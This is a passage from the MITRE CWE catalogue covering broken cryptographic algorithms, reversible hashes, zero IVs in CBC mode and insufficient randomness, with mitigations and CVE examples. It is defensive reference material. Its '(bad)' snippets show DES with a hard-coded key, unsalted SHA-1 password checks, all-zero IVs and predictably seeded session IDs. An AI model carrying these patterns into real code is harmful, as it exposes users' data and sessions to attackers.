PeerOf	V	301	Reflection Attack in an Authentication Protocol	666
CanFollow	B	208	Observable Timing Discrepancy	488

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	916	Use of Password Hash With Insufficient Computational Effort	1594

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Background Details

Cryptographic algorithms are the methods by which data is scrambled. There are a small number of well-understood and heavily studied algorithms that should be used by most applications. It is quite difficult to produce a secure algorithm, and even high profile algorithms by accomplished cryptographic experts have been broken.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks against the algorithm are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.*	
Integrity	Modify Application Data *The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.*	
Accountability Non-Repudiation	Hide Activities *If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.*	

Detection Methods

Automated Analysis

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

Effectiveness = Moderate

False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Man-in-the-middle attack tool Cost effective for partial coverage: Framework-based Fuzzer Automated Monitored Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

Design the software so that one cryptographic algorithm can be replaced with another. This will make it easier to upgrade to stronger algorithms.

Phase: Architecture and Design

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Demonstrative Examples

Example 1:

These code examples use the Data Encryption Standard (DES).

Example Language: C *(bad)*

```
EVP_des_ecb();
```

Example Language: Java *(bad)*

```
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
```

Example Language: PHP *(bad)*

```
function encryptPassword($password){
    $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a password encryption key";
    $encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
    return $encryptedPassword;
}
```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

Observed Examples

Reference	Description
CVE-2008-3775	Product uses "ROT-25" to obfuscate the password in the registry. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3775*
CVE-2007-4150	product only uses "XOR" to obfuscate sensitive data *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4150*
CVE-2007-5460	product only uses "XOR" and a fixed key to obfuscate sensitive data *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5460*
CVE-2005-4860	Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4860*
CVE-2002-2058	Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2058*
CVE-2008-3188	Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3188*
CVE-2005-2946	Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2946*
CVE-2007-6013	Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6013*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	1893
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	1895
MemberOf	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1899
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1931
MemberOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	1938
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2002

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using a broken or risky cryptographic algorithm
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding	MSC32-C	CWE More Abstract	Properly seed pseudorandom number generators
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers
OMG ASCSM	ASCSM-CWE-327		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
20	Encryption Brute Forcing
97	Cryptanalysis
459	Creating a Rogue Certification Authority Certificate
473	Signature Spoof
475	Signature Spoofing by Improper Validation
608	Cryptanalysis of Cellular Encryption
614	Rooting SIM Cards

References

[REF-280]Bruce Schneier. "Applied Cryptography". 1996. John Wiley & Sons. < http://www.schneier.com/book-applied.html >.

[REF-281]Alfred J. Menezes, Paul C. van Oorschot and Scott A. Vanstone. "Handbook of Applied Cryptography". 1996 October. < http://www.cacr.math.uwaterloo.ca/hac/ >.

[REF-282]C Matthew Curtin. "Avoiding bogus encryption products: Snake Oil FAQ". 1998 April 0. < http://www.faqs.org/faqs/cryptography-faq/snake-oil/ >.

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-284]Paul F. Roberts. "Microsoft Scraps Old Encryption in New Code". 2005 September 5. < http://www.eweek.com/c/a/Security/Microsoft-Scraps-Old-Encryption-in-New-Code/ >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-287]Johannes Ullrich. "Top 25 Series - Rank 24 - Use of a Broken or Risky Cryptographic Algorithm". 2010 March 5. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/25/top-25-series-rank-24-use-of-a-broken-or-risky-cryptographic-algorithm/ >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-328: Reversible One-Way Hash

Weakness ID : 328 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.

Extended Description

This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		326	Inadequate Encryption Strength	718
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	720

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C *(bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Example Language: Java *(bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
```

```
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code uses the SHA-1 hash on user passwords, but the SHA-1 algorithm is no longer considered secure. Note this code also exhibits CWE-759 (Use of a One-Way Hash without a Salt).

Observed Examples

Reference	Description
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4068*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1931
MemberOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	1938
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Reversible One-Way Hash

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
68	Subvert Code-signing Facilities
461	Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

References

[REF-289]Alexander Sotirov et al.. "MD5 considered harmful today". < http://www.phreedom.org/research/rogue-ca/ >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-291]Johnny Shelley. "bcrypt". < http://bcrypt.sourceforge.net/ >.

[REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < http://www.tarsnap.com/scrypt.html >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < http://tools.ietf.org/html/rfc2898 >.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < http://codahale.com/how-to-safely-store-a-password/ >.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/ >.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < http://www.openwall.com/presentations/PHDays2012-Password-Security/ >.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html >.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/ >.

CWE-329: Not Using a Random IV with CBC Mode

Weakness ID : 329 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153
ChildOf	C	330	Use of Insufficiently Random Values	730

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

CBC is the most commonly used mode of operation for a block cipher. It solves electronic code book's dictionary problems by XORing the ciphertext with plaintext. If it used to encrypt multiple data streams, dictionary attacks are possible, provided that the streams have a common beginning sequence.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Read Application Data Other *If the CBC is not properly initialized, data that is encrypted can be compromised and therefore be read.*	
Integrity	Modify Application Data *If the CBC is not properly initialized, encrypted data could be tampered with in transfer.*	
Access Control Other	Bypass Protection Mechanism Other *Cryptographic based authentication systems could be defeated.*	

Potential Mitigations

Phase: Implementation

It is important to properly initialize CBC operating block ciphers or their utility is lost.

Demonstrative Examples

Example 1:

In the following examples, CBC mode is used when encrypting data:

Example Language: C *(bad)*

```
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

Example Language: Java *(bad)*

```
public class SymmetricCipherTest {
    public static void main() {
        byte[] text ="Secret".getBytes();
        byte[] iv ={
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
        };
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

Functional Areas

- Cryptography

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Not using a random IV with CBC mode

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-330: Use of Insufficiently Random Values

Weakness ID : 330 **Status:** Stable

Structure : Simple
Abstraction : Class

Description

The software uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

Extended Description

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ParentOf	V	329	Not Using a Random IV with CBC Mode	729
ParentOf	B	331	Insufficient Entropy	736
ParentOf	B	334	Small Space of Random Values	742
ParentOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	744
ParentOf	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	748
ParentOf	C	340	Generation of Predictable Numbers or Identifiers	752
ParentOf	B	344	Use of Invariant Value in Dynamically Changing Context	757
ParentOf	B	804	Guessable CAPTCHA	1495
ParentOf	B	1241	Use of Predictable Algorithm in Random Number Generator	1761

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	331	Insufficient Entropy	736
ParentOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	744
ParentOf	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	748

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Background Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Other *When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.*	
Access Control Other	Bypass Protection Mechanism Other *If software relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.*	

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look

for library or system calls that access predictable information such as process IDs and system time.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Man-in-the-middle attack tool

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds. In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

This code generates a unique random identifier for a user's session.

Example Language: PHP *(bad)*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Example Language: Java *(bad)*

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Observed Examples

Reference	Description
CVE-2009-3278	Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3278*
CVE-2009-3238	Random number generator can repeatedly generate the same value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3238*
CVE-2009-2367	Web application generates predictable session IDs, allowing session hijacking. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2367*
CVE-2009-2158	Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2158
CVE-2009-0255	Cryptographic key created with a seed based on the system time. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0255*
CVE-2008-5162	Kernel function does not have a good entropy source just after boot. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5162*
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4905*
CVE-2008-4929	Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4929*
CVE-2008-3612	Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3612*
CVE-2008-2433	Web management console generates session IDs based on the login time, making it easier to conduct session hijacking. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2433*
CVE-2008-0166	SSL library uses a weak random number generator that only generates 65,536 unique keys. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166*
CVE-2008-2108	Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2108*
CVE-2008-2020	CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2020*
CVE-2008-0087	DNS client uses predictable DNS transaction IDs, allowing DNS spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0087*
CVE-2008-0141	Application generates passwords that are based on the time of day. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0141*

Functional Areas

- Cryptography
- Authentication
- Session Management

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	1893
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993
MemberOf	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2001
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2002

Notes

Relationship

This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Randomness and Predictability
7 Pernicious Kingdoms			Insecure Randomness
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	CON33-C	Imprecise	Avoid race conditions when using library functions
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers
